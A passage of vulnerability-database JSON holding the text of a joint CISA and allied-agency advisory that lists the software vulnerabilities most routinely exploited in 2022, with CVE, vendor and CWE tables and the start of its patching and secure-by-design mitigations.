"attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-28T12:00:00", "type": "ics", "title": "2021 Top Routinely Exploited Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0199", "CVE-2017-11882", "CVE-2018-0171", "CVE-2018-13379", "CVE-2019-11510", "CVE-2019-18935", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-1472", "CVE-2020-2509", "CVE-2021-1675", "CVE-2021-20016", "CVE-2021-20038", "CVE-2021-21972", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-26084", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104", "CVE-2021-27852", "CVE-2021-31207", "CVE-2021-3156", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35464", "CVE-2021-40444", "CVE-2021-40539", "CVE-2021-42237", "CVE-2021-44228", "CVE-2022-42475", "CVE-2022-47966"], "modified": "2022-04-28T12:00:00", "id": "AA22-117A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-117a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-09-22T16:44:17", "description": "### **SUMMARY**\n\nThe following cybersecurity agencies coauthored this joint Cybersecurity Advisory (CSA):\n\n * United States: The Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), and Federal Bureau of Investigation (FBI)\n * Australia: Australian Signals Directorate\u2019s Australian Cyber Security Centre (ACSC)\n * Canada: Canadian Centre for Cyber Security (CCCS)\n * New Zealand: New Zealand National Cyber Security Centre (NCSC-NZ) and Computer Emergency Response Team New Zealand (CERT NZ)\n * United Kingdom: National Cyber Security Centre (NCSC-UK)\n\nThis advisory provides details on the Common Vulnerabilities and Exposures (CVEs) routinely and frequently exploited by malicious cyber actors in 2022 and the associated Common Weakness Enumeration(s) (CWE). In 2022, malicious cyber actors exploited older software vulnerabilities more frequently than recently disclosed vulnerabilities and targeted unpatched, internet-facing systems.\n\nThe authoring agencies strongly encourage vendors, designers, developers, and end-user organizations to implement the recommendations found within the Mitigations section of this advisory\u2014including the following\u2014to reduce the risk of compromise by malicious cyber actors.\n\n * **Vendors, designers, and developers**: Implement [secure-by-design and -default principles and tactics](<https://www.cisa.gov/resources-tools/resources/secure-by-design-and-default> \"Security-by-Design and -Default\" ) to reduce the prevalence of vulnerabilities in your software. \n * **Follow the Secure Software Development Framework (SSDF)**, also known as [SP 800-218](<https://csrc.nist.gov/publications/detail/sp/800-218/final> \"NIST SP 800-218\" ), and implement secure design practices into each stage of the software development life cycle (SDLC). As part of this, establish a coordinated vulnerability disclosure program that includes processes to determine root causes of discovered vulnerabilities.\n * **Prioritize secure-by-default configurations**, such as eliminating default passwords, or requiring addition configuration changes to enhance product security.\n * **Ensure that published CVEs include the proper CWE field** identifying the root cause of the vulnerability.\n * **End-user organizations**: \n * **Apply timely patches to systems**. **Note**: First check for signs of compromise if CVEs identified in this CSA have not been patched.\n * Implement a centralized patch management system.\n * **Use security tools, such as endpoint detection and response (EDR), web application firewalls, and network protocol analyzers**.\n * **Ask your software providers to discuss their secure by design program** and to provide links to information about how they are working to remove classes of vulnerabilities and to set secure default settings.\n\nDownload the PDF version of this report:\n\nAA23-215A PDF (PDF, 980.90 KB )\n\n### **TECHNICAL DETAILS**\n\n#### **Key Findings**\n\nIn 2022, malicious cyber actors exploited older software vulnerabilities more frequently than recently disclosed vulnerabilities and targeted unpatched, internet-facing systems. Proof of concept (PoC) code was publicly available for many of the software vulnerabilities or vulnerability chains, likely facilitating exploitation by a broader range of malicious cyber actors.\n\nMalicious cyber actors generally have the most success exploiting known vulnerabilities within the first two years of public disclosure\u2014the value of such vulnerabilities gradually decreases as software is patched or upgraded. Timely patching reduces the effectiveness of known, exploitable vulnerabilities, possibly decreasing the pace of malicious cyber actor operations and forcing pursuit of more costly and time-consuming methods (such as developing zero-day exploits or conducting software supply chain operations).\n\nMalicious cyber actors likely prioritize developing exploits for severe and globally prevalent CVEs. While sophisticated actors also develop tools to exploit other vulnerabilities, developing exploits for critical, wide-spread, and publicly known vulnerabilities gives actors low-cost, high-impact tools they can use for several years. Additionally, cyber actors likely give higher priority to vulnerabilities that are more prevalent in their specific targets\u2019 networks. Multiple CVE or CVE chains require the actor to send a malicious web request to the vulnerable device, which often includes unique signatures that can be detected through deep packet inspection.\n\n#### **Top Routinely Exploited Vulnerabilities**\n\nTable 1 shows the top 12 vulnerabilities the co-authors observed malicious cyber actors routinely exploiting in 2022:\n\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379> \"CVE-2018-13379\" )**. **This vulnerability, affecting Fortinet SSL VPNs, was also [routinely exploited in 2020](<https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-209a> \"Top Routinely Exploited Vulnerabilities\" ) and [2021](<https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-117a> \"2021 Top Routinely Exploited Vulnerabilities\" ). The continued exploitation indicates that many organizations failed to patch software in a timely manner and remain vulnerable to malicious cyber actors.\n * [**CVE-2021-34473**](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473> \"CVE-2021-34473\" )**, **[**CVE-2021-31207**](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207> \"CVE-2021-31207\" )**, **[**CVE-2021-34523**](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523> \"CVE-2021-34523\" )**.** These vulnerabilities, known as ProxyShell, affect Microsoft Exchange email servers. In combination, successful exploitation enables a remote actor to execute arbitrary code. These vulnerabilities reside within the Microsoft Client Access Service (CAS), which typically runs on port 443 in Microsoft Internet Information Services (IIS) (e.g., Microsoft\u2019s web server). CAS is commonly exposed to the internet to enable users to access their email via mobile devices and web browsers.\n * [**CVE-2021-40539**](<https://nvd.nist.gov/vuln/detail/CVE-2021-40539> \"CVE-2021-40539\" )**.** This vulnerability enables unauthenticated remote code execution (RCE) in Zoho ManageEngine ADSelfService Plus and was linked to the usage of an outdated third-party dependency. Initial exploitation of this vulnerability [began in late 2021](<https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-259a> \"APT Actors Exploiting Newly Identified Vulnerability in ManageEngine ADSelfService Plus\" ) and [continued throughout 2022](<https://media.defense.gov/2022/Oct/06/2003092365/-1/-1/0/Joint_CSA_Top_CVEs_Exploited_by_PRC_cyber_actors_.PDF> \"Top CVEs Actively Exploited By People\u2019s Republic of China State-Sponsored Cyber Actors\" ).\n * [**CVE-2021-26084**](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084> \"CVE-2021-26084\" )**.** This vulnerability, affecting Atlassian Confluence Server and Data Center (a web-based collaboration tool used by governments and private companies) could enable an unauthenticated cyber actor to execute arbitrary code on vulnerable systems. This vulnerability quickly became one of the most routinely exploited vulnerabilities after a PoC was released within a week of its disclosure. Attempted mass exploitation of this vulnerability was observed in September 2021.\n * [**CVE-2021- 44228**](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228> \"CVE-2021-44228\" )**.** This vulnerability, known as Log4Shell, affects Apache\u2019s Log4j library, an open-source logging framework incorporated into thousands of products worldwide. An actor can exploit this vulnerability by submitting a specially crafted request to a vulnerable system, causing the execution of arbitrary code. The request allows a cyber actor to take full control of a system. The actor can then steal information, launch ransomware, or conduct other malicious activity.[[1](<https://www.cisa.gov/news-events/news/apache-log4j-vulnerability-guidance>)] Malicious cyber actors began exploiting the vulnerability after it was publicly disclosed in December 2021, and continued to show high interest in CVE-2021- 44228 through the first half of 2022.\n * [**CVE-2022-22954**](<https://nvd.nist.gov/vuln/detail/CVE-2022-22954> \"CVE-2022-22954\" ), [**CVE-2022-22960**](<https://nvd.nist.gov/vuln/detail/CVE-2022-22960> \"CVE-2022-22960\" )**.** These vulnerabilities allow RCE, privilege escalation, and authentication bypass in VMware Workspace ONE Access, Identity Manager, and other VMware products. A malicious cyber actor with network access could trigger a server-side template injection that may result in remote code execution**. **Exploitation of CVE-2022-22954 and CVE-2022-22960 [began in early 2022](<https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-138b> \"Threat Actors Chaining Unpatched VMware Vulnerabilities for Full System Control\" ) and attempts continued throughout the remainder of the year.\n * [**CVE-2022-1388**](<https://nvd.nist.gov/vuln/detail/CVE-2022-1388> \"CVE-2022-1388\" )**.** This vulnerability allows unauthenticated malicious cyber actors to bypass iControl REST authentication** **on F5 BIG-IP application delivery and security software**.**\n * [**CVE-2022-30190**](<https://nvd.nist.gov/vuln/detail/CVE-2022-30190> \"CVE-2022-30190\" )**.** This vulnerability impacts the Microsoft Support Diagnostic Tool (MSDT) in Windows. A remote, unauthenticated cyber actor could exploit this vulnerability to take control of an affected system.\n * [**CVE-2022-26134**](<https://nvd.nist.gov/vuln/detail/CVE-2022-26134> \"CVE-2022-26134\" ). This critical RCE vulnerability affects Atlassian Confluence and Data Center. The vulnerability, which was likely initially exploited as a zero-day before public disclosure in June 2022, is related to an older Confluence vulnerability ([CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084> \"CVE-2021-26084\" )), which cyber actors also exploited in 2022.\n_Table 1: Top 12 Routinely Exploited Vulnerabilities in 2022_\n\n**CVE**\n\n| \n\n**Vendor**\n\n| \n\n**Product**\n\n| \n\n**Type**\n\n| \n\n**CWE** \n \n---|---|---|---|--- \n \n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379> \"CVE-2018-13379\" )\n\n| \n\nFortinet\n\n| \n\nFortiOS and FortiProxy\n\n| \n\nSSL VPN credential exposure\n\n| \n\n[CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](<https://cwe.mitre.org/data/definitions/22.html> \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory \\('Path Traversal'\\)\" ) \n \n[CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473> \"CVE-2021-34473\" )\n\n(Proxy Shell)\n\n| \n\nMicrosoft\n\n| \n\nExchange Server\n\n| \n\nRCE\n\n| \n\n[CWE-918 Server-Side Request Forgery (SSRF)](<https://cwe.mitre.org/data/definitions/918.html> \"CWE-918: Server-Side Request Forgery \\(SSRF\\)\" ) \n \n[CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207> \"CVE-2021-31207\" )\n\n(Proxy Shell)\n\n| \n\nMicrosoft\n\n| \n\nExchange Server\n\n| \n\nSecurity Feature Bypass\n\n| \n\n[CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](<https://cwe.mitre.org/data/definitions/22.html> \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory \\('Path Traversal'\\)\" ) \n \n[CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523> \"CVE-2021-34523\" )\n\n(Proxy Shell)\n\n| \n\nMicrosoft\n\n| \n\nExchange Server\n\n| \n\nElevation of Privilege\n\n| \n\n[CWE-287 Improper Authentication](<https://cwe.mitre.org/data/definitions/287.html> \"CWE-287: Improper Authentication\" ) \n \n[CVE-2021-40539](<https://nvd.nist.gov/vuln/detail/CVE-2021-40539> \"CVE-2021-40539\" )\n\n| \n\nZoho ManageEngine\n\n| \n\nADSelfService Plus\n\n| \n\nRCE/\n\nAuthentication Bypass\n\n| \n\n[CWE-287 Improper Authentication](<https://cwe.mitre.org/data/definitions/287.html> \"CWE-287: Improper Authentication\" ) \n \n[CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084> \"CVE-2021-26084\" )\n\n| \n\nAtlassian\n\n| \n\nConfluence Server and Data Center\n\n| \n\nArbitrary code execution\n\n| \n\n[CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')](<https://cwe.mitre.org/data/definitions/74.html> \"CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component \\('Injection'\\)\" ) \n \n[CVE-2021- 44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228> \"CVE-2021-44228\" )\n\n(Log4Shell)\n\n| \n\nApache\n\n| \n\nLog4j2\n\n| \n\nRCE\n\n| \n\n[CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')](<https://cwe.mitre.org/data/definitions/917.html> \"CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement \\('Expression Language Injection'\\)\" )\n\n[CWE-20 Improper Input Validation](<https://cwe.mitre.org/data/definitions/20.html> \"CWE-20: Improper Input Validation\" )\n\n[CWE-400 Uncontrolled Resource Consumption](<https://cwe.mitre.org/data/definitions/400.html> \"CWE-400: Uncontrolled Resource Consumption\" )\n\n[CWE-502 Deserialization of Untrusted Data](<https://cwe.mitre.org/data/definitions/502.html> \"CWE-502: Deserialization of Untrusted Data\" ) \n \n[CVE-2022-22954](<https://nvd.nist.gov/vuln/detail/CVE-2022-22954> \"CVE-2022-22954\" )\n\n| \n\nVMware\n\n| \n\nWorkspace ONE Access and Identity Manager\n\n| \n\nRCE\n\n| \n\n[CWE-94 Improper Control of Generation of Code ('Code Injection')](<https://cwe.mitre.org/data/definitions/94.html> \"CWE-94: Improper Control of Generation of Code \\('Code Injection'\\)\" ) \n \n[CVE-2022-22960](<https://nvd.nist.gov/vuln/detail/CVE-2022-22960> \"CVE-2022-22960\" )\n\n| \n\nVMware\n\n| \n\nWorkspace ONE Access, Identity Manager, and vRealize Automation\n\n| \n\nImproper Privilege Management\n\n| \n\n[CWE-269 Improper Privilege Management](<https://cwe.mitre.org/data/definitions/269.html> \"CWE-269: Improper Privilege Management\" ) \n \n[CVE-2022-1388](<https://nvd.nist.gov/vuln/detail/CVE-2022-1388> \"CVE-2022-1388\" )\n\n| \n\nF5 Networks\n\n| \n\nBIG-IP\n\n| \n\nMissing Authentication Vulnerability\n\n| \n\n[CWE-306 Missing Authentication for Critical Function](<https://cwe.mitre.org/data/definitions/306.html> \"CWE-306: Missing Authentication for Critical Function\" ) \n \n[CVE-2022-30190](<https://nvd.nist.gov/vuln/detail/CVE-2022-30190> \"CVE-2022-30190\" )\n\n| \n\nMicrosoft\n\n| \n\nMultiple Products\n\n| \n\nRCE\n\n| \n\nNone Listed \n \n[CVE-2022-26134](<https://nvd.nist.gov/vuln/detail/CVE-2022-26134> \"CVE-2022-26134\" )\n\n| \n\nAtlassian\n\n| \n\nConfluence Server and Data Center\n\n| \n\nRCE\n\n| \n\n[CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')](<https://cwe.mitre.org/data/definitions/74.html> \"CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component \\('Injection'\\)\" ) \n \n#### **Additional Routinely Exploited Vulnerabilities**\n\nIn addition to the 12 vulnerabilities listed in Table 1, the authoring agencies identified vulnerabilities\u2014listed in Table 2\u2014that were also routinely exploited by malicious cyber actors in 2022.\n\n_Table 2: Additional Routinely Exploited Vulnerabilities in 2022_\n\n**CVE**\n\n| \n\n**Vendor**\n\n| \n\n**Product**\n\n| \n\n**Type**\n\n| \n\n**CWE** \n \n---|---|---|---|--- \n \n[CVE-2017-0199](<https://nvd.nist.gov/vuln/detail/CVE-2017-0199> \"CVE-2017-0199\" )\n\n| \n\nMicrosoft\n\n| \n\nMultiple Products\n\n| \n\nArbitrary Code Execution\n\n| \n\nNone Listed \n \n[CVE-2017-11882](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882> \"CVE-2017-11882\" )\n\n| \n\nMicrosoft\n\n| \n\nExchange Server\n\n| \n\nArbitrary Code Execution\n\n| \n\n[CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer](<https://cwe.mitre.org/data/definitions/119.html> \"CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer\" ) \n \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510> \"CVE-2019-11510\" )\n\n| \n\nIvanti\n\n| \n\nPulse Secure Pulse Connect Secure\n\n| \n\nArbitrary File Reading\n\n| \n\n[CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](<https://cwe.mitre.org/data/definitions/22.html> \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory \\('Path Traversal'\\)\" ) \n \n[CVE-2019-0708](<https://nvd.nist.gov/vuln/detail/CVE-2019-0708> \"CVE-2019-0708\" )\n\n| \n\nMicrosoft\n\n| \n\nRemote Desktop Services\n\n| \n\nRCE\n\n| \n\n[CWE-416: Use After Free](<https://cwe.mitre.org/data/definitions/416.html> \"CWE-416: Use After Free\" ) \n \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781> \"CVE-2019-19781\" )\n\n| \n\nCitrix\n\n| \n\nApplication Delivery Controller and Gateway\n\n| \n\nArbitrary Code Execution\n\n| \n\n[CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](<https://cwe.mitre.org/data/definitions/22.html> \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory \\('Path Traversal'\\)\" ) \n \n[CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902> \"CVE-2020-5902\" )\n\n| \n\nF5 Networks\n\n| \n\nBIG-IP\n\n| \n\nRCE\n\n| \n\n[CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](<https://cwe.mitre.org/data/definitions/22.html> \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory \\('Path Traversal'\\)\" ) \n \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472> \"CVE-2020-1472\" )\n\n| \n\nMicrosoft\n\n| \n\nMultiple Products\n\n| \n\nPrivilege Escalation\n\n| \n\n[CWE-330: Use of Insufficiently Random Values](<https://cwe.mitre.org/data/definitions/330.html> \"CWE-330: Use of Insufficiently Random Values\" ) \n \n[CVE-2020-14882](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882> \"CVE-2020-14882\" )\n\n| \n\nOracle\n\n| \n\nWebLogic Server\n\n| \n\nRCE\n\n| \n\nNone Listed \n \n[CVE-2020-14883](<https://nvd.nist.gov/vuln/detail/CVE-2020-14883> \"CVE-2020-14883\" )\n\n| \n\nOracle\n\n| \n\nWebLogic Server\n\n| \n\nRCE\n\n| \n\nNone Listed \n \n[CVE-2021-20016](<https://nvd.nist.gov/vuln/detail/CVE-2021-20016> \"CVE-2021-20016\" )\n\n| \n\nSonicWALL\n\n| \n\nSSLVPN SMA100\n\n| \n\nSQL Injection\n\n| \n\n[CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')](<https://cwe.mitre.org/data/definitions/89.html> \"CWE-89: Improper Neutralization of Special Elements used in an SQL Command \\('SQL Injection'\\)\" ) \n \n[CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855> \"CVE-2021-26855\" )\n\n(ProxyLogon)\n\n| \n\nMicrosoft\n\n| \n\nExchange Server\n\n| \n\nRCE\n\n| \n\n[CWE-918: Server-Side Request Forgery (SSRF)](<https://cwe.mitre.org/data/definitions/918.html> \"CWE-918: Server-Side Request Forgery \\(SSRF\\)\" ) \n \n[CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065> \"CVE-2021-27065\" )\n\n(ProxyLogon)\n\n| \n\nMicrosoft\n\n| \n\nExchange Server\n\n| \n\nRCE\n\n| \n\n[CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](<https://cwe.mitre.org/data/definitions/22.html> \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory \\('Path Traversal'\\)\" ) \n \n[CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858> \"CVE-2021-26858\" )\n\n(ProxyLogon)\n\n| \n\nMicrosoft\n\n| \n\nExchange Server\n\n| \n\nRCE\n\n| \n\nNone Listed \n \n[CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857> \"CVE-2021-26857\" )\n\n(ProxyLogon)\n\n| \n\nMicrosoft\n\n| \n\nExchange Server\n\n| \n\nRCE\n\n| \n\n[CWE-502: Deserialization of Untrusted Data](<https://cwe.mitre.org/data/definitions/502.html> \"CWE-502: Deserialization of Untrusted Data\" ) \n \n[CVE-2021-20021](<https://nvd.nist.gov/vuln/detail/CVE-2021-20021> \"CVE-2021-20021\" )\n\n| \n\nSonicWALL\n\n| \n\nEmail Security\n\n| \n\nPrivilege Escalation Exploit Chain\n\n| \n\n[CWE-269: Improper Privilege Management](<https://cwe.mitre.org/data/definitions/269.html> \"CWE-269: Improper Privilege Management\" ) \n \n[CVE-2021-40438](<https://nvd.nist.gov/vuln/detail/CVE-2021-40438> \"CVE-2021-40438\" )\n\n| \n\nApache\n\n| \n\nHTTP Server\n\n| \n\nServer-Side Request Forgery\n\n| \n\n[CWE-918: Server-Side Request Forgery (SSRF)](<https://cwe.mitre.org/data/definitions/918.html> \"CWE-918: Server-Side Request Forgery \\(SSRF\\)\" ) \n \n[CVE-2021-41773](<https://nvd.nist.gov/vuln/detail/CVE-2021-41773> \"CVE-2021-41773\" )\n\n| \n\nApache\n\n| \n\nHTTP Server\n\n| \n\nServer Path Traversal\n\n| \n\n[CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](<https://cwe.mitre.org/data/definitions/22.html> \"\u00a0CWE-22: Improper Limitation of a Pathname to a Restricted Directory \\('Path Traversal'\\)\" ) \n \n[CVE-2021-42013](<https://nvd.nist.gov/vuln/detail/CVE-2021-42013> \"CVE-2021-42013\" )\n\n| \n\nApache\n\n| \n\nHTTP Server\n\n| \n\nServer Path Traversal\n\n| \n\n[CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](<https://cwe.mitre.org/data/definitions/22.html> \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory \\('Path Traversal'\\)\" ) \n \n[CVE-2021-20038](<https://nvd.nist.gov/vuln/detail/CVE-2021-20038> \"CVE-2021-20038\" )\n\n| \n\nSonicWall\n\n| \n\nSMA 100 Series Appliances\n\n| \n\nStack-based Buffer Overflow\n\n| \n\n[CWE-787: Out-of-bounds Write](<https://cwe.mitre.org/data/definitions/787.html> \"CWE-787: Out-of-bounds Write\" )\n\n[CWE-121: Stack-based Buffer Overflow](<http://cwe.mitre.org/data/definitions/121.html> \"CWE-121: Stack-based Buffer Overflow\" ) \n \n[CVE-2021-45046](<https://nvd.nist.gov/vuln/detail/CVE-2021-45046> \"CVE-2021-45046\" )\n\n| \n\nApache\n\n| \n\nLog4j\n\n| \n\nRCE\n\n| \n\n[CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')](<https://cwe.mitre.org/data/definitions/917.html> \"CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement \\('Expression Language Injection'\\)\" ) \n \n[CVE-2022-42475](<https://nvd.nist.gov/vuln/detail/CVE-2022-42475> \"CVE-2022-42475\" )\n\n| \n\nFortinet\n\n| \n\nFortiOS\n\n| \n\nHeap-based Buffer Overflow\n\n| \n\n[CWE-787: Out-of-bounds Write](<https://cwe.mitre.org/data/definitions/787.html> \"CWE-787: Out-of-bounds Write\" ) \n \n[CVE-2022-24682](<https://nvd.nist.gov/vuln/detail/CVE-2022-24682> \"CVE-2022-24682\" )\n\n| \n\nZimbra\n\n| \n\nCollaboration Suite\n\n| \n\n\u2018Cross-site Scripting\u2019\n\n| \n\n[CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](<https://cwe.mitre.org/data/definitions/79.html> \"CWE-79: Improper Neutralization of Input During Web Page Generation \\('Cross-site Scripting'\\)\" ) \n \n[CVE-2022-22536](<https://nvd.nist.gov/vuln/detail/CVE-2022-22536> \"CVE-2022-22536\" )\n\n| \n\nSAP\n\n| \n\nInternet Communication Manager (ICM)\n\n| \n\nHTTP Request Smuggling\n\n| \n\n[CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')](<https://cwe.mitre.org/data/definitions/444.html> \"CWE-444: Inconsistent Interpretation of HTTP Requests \\('HTTP Request/Response Smuggling'\\)\" ) \n \n[CVE-2022-22963](<https://nvd.nist.gov/vuln/detail/CVE-2022-22963> \"CVE-2022-22963\" )\n\n| \n\nVMware Tanzu\n\n| \n\nSpring Cloud\n\n| \n\nRCE\n\n| \n\n[CWE-94: Improper Control of Generation of Code ('Code Injection')](<https://cwe.mitre.org/data/definitions/94.html> \"CWE-94: Improper Control of Generation of Code \\('Code Injection'\\)\" )\n\n[CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')](<https://cwe.mitre.org/data/definitions/917.html> \"CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement \\('Expression Language Injection'\\)\" ) \n \n[CVE-2022-29464](<https://nvd.nist.gov/vuln/detail/CVE-2022-29464> \"CVE-2022-29464\" )\n\n| \n\nWSO2\n\n| \n\nMultiple Products\n\n| \n\nRCE\n\n| \n\n[CWE-434: Unrestricted Upload of File with Dangerous Type](<https://cwe.mitre.org/data/definitions/434.html> \"CWE-434: Unrestricted Upload of File with Dangerous Type\" ) \n \n[CVE-2022-27924](<https://nvd.nist.gov/vuln/detail/CVE-2022-27924> \"CVE-2022-27924\" )\n\n| \n\nZimbra\n\n| \n\nZimbra Collaboration Suite\n\n| \n\nCommand Injection\n\n| \n\n[CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')](<https://cwe.mitre.org/data/definitions/74.html> \"CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component \\('Injection'\\)\" ) \n \n[CVE-2022-22047](<https://nvd.nist.gov/vuln/detail/CVE-2022-22047> \"CVE-2022-22047\" )\n\n| \n\nMicrosoft\n\n| \n\nWindows CSRSS\n\n| \n\nElevation of Privilege\n\n| \n\n[CWE-269: Improper Privilege Management](<https://cwe.mitre.org/data/definitions/269.html> \"CWE-269: Improper Privilege Management\" ) \n \n[CVE-2022-27593](<https://nvd.nist.gov/vuln/detail/CVE-2022-27593> \"CVE-2022-27593\" )\n\n| \n\nQNAP\n\n| \n\nQNAP NAS\n\n| \n\nExternally Controlled Reference\n\n| \n\n[CWE-610: Externally Controlled Reference to a Resource in Another Sphere](<https://cwe.mitre.org/data/definitions/610.html> \"CWE-610: Externally Controlled Reference to a Resource in Another Sphere\" ) \n \n[CVE-2022-41082](<https://nvd.nist.gov/vuln/detail/CVE-2022-41082> \"CVE-2022-41082\" )\n\n| \n\nMicrosoft\n\n| \n\nExchange Server\n\n| \n\nPrivilege Escalation\n\n| \n\nNone Listed \n \n[CVE-2022-40684](<https://nvd.nist.gov/vuln/detail/CVE-2022-40684> \"CVE-2022-40684\" )\n\n| \n\nFortinet\n\n| \n\nFortiOS, FortiProxy, FortiSwitchManager\n\n| \n\nAuthentication Bypass\n\n| \n\n[CWE-306: Missing Authentication for Critical Function](<https://cwe.mitre.org/data/definitions/306.html> \"CWE-306: Missing Authentication for Critical Function\" ) \n \n### **MITIGATIONS**\n\n#### **Vendors and Developers**\n\nThe authoring agencies recommend vendors and developers take the following steps to ensure their products are secure by design and default:\n\n * **Identify repeatedly exploited classes of vulnerability. **Perform an analysis of both CVEs and known exploited vulnerabilities to understand which classes of vulnerability are identified more than others. Implement appropriate mitigations to eliminate those classes of vulnerability. For example, if a product has several instances of SQL injection vulnerabilities, ensure all database queries in the product use parameterized queries, and prohibit other forms of queries.\n * **Ensure business leaders are responsible for security. **Business leaders should ensure that proactive steps to eliminate entire classes of security vulnerabilities, rather than only making one-off patches when new vulnerabilities are discovered.\n * **Follow the SSDF** ([SP 800-218](<https://csrc.nist.gov/publications/detail/sp/800-218/final> \"NIST SP 800-218\" )_)_ and implement secure design practices into each stage of the SDLC. Pay attention to: \n * Prioritizing the use of memory safe languages wherever possible [[SSDF PW 6.1](<https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-218.pdf> \"NIST Special Publication 800-218\" )].\n * Exercising due diligence when selecting software components (e.g., software libraries, modules, middleware, frameworks) to ensure robust security in consumer software products [[SSDF PW 4.1](<https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-218.pdf> \"NIST Special Publication 800-218\" )].\n * Setting up secure development team practices; this includes conducting peer code reviews, working to a common organization secure coding standard, and maintaining awareness of language specific security concerns [[SSDF PW.5.1, PW.7.1, PW.7.2](<https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-218.pdf> \"NIST Special Publication 800-218\" )].\n * Establishing a [vulnerability disclosure program](<https://www.cyber.gov.au/resources-business-and-government/governance-and-user-education/governance/vulnerability-disclosure-programs-explained> \"Vulnerability Disclosure Programs Explained\" ) to verify and resolve security vulnerabilities disclosed by people who may be internal or external to the organization [[SSDF RV.1.3](<https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-218.pdf> \"NIST Special Publication 800-218\" )]. As part of this, establish processes to determine root causes of discovered 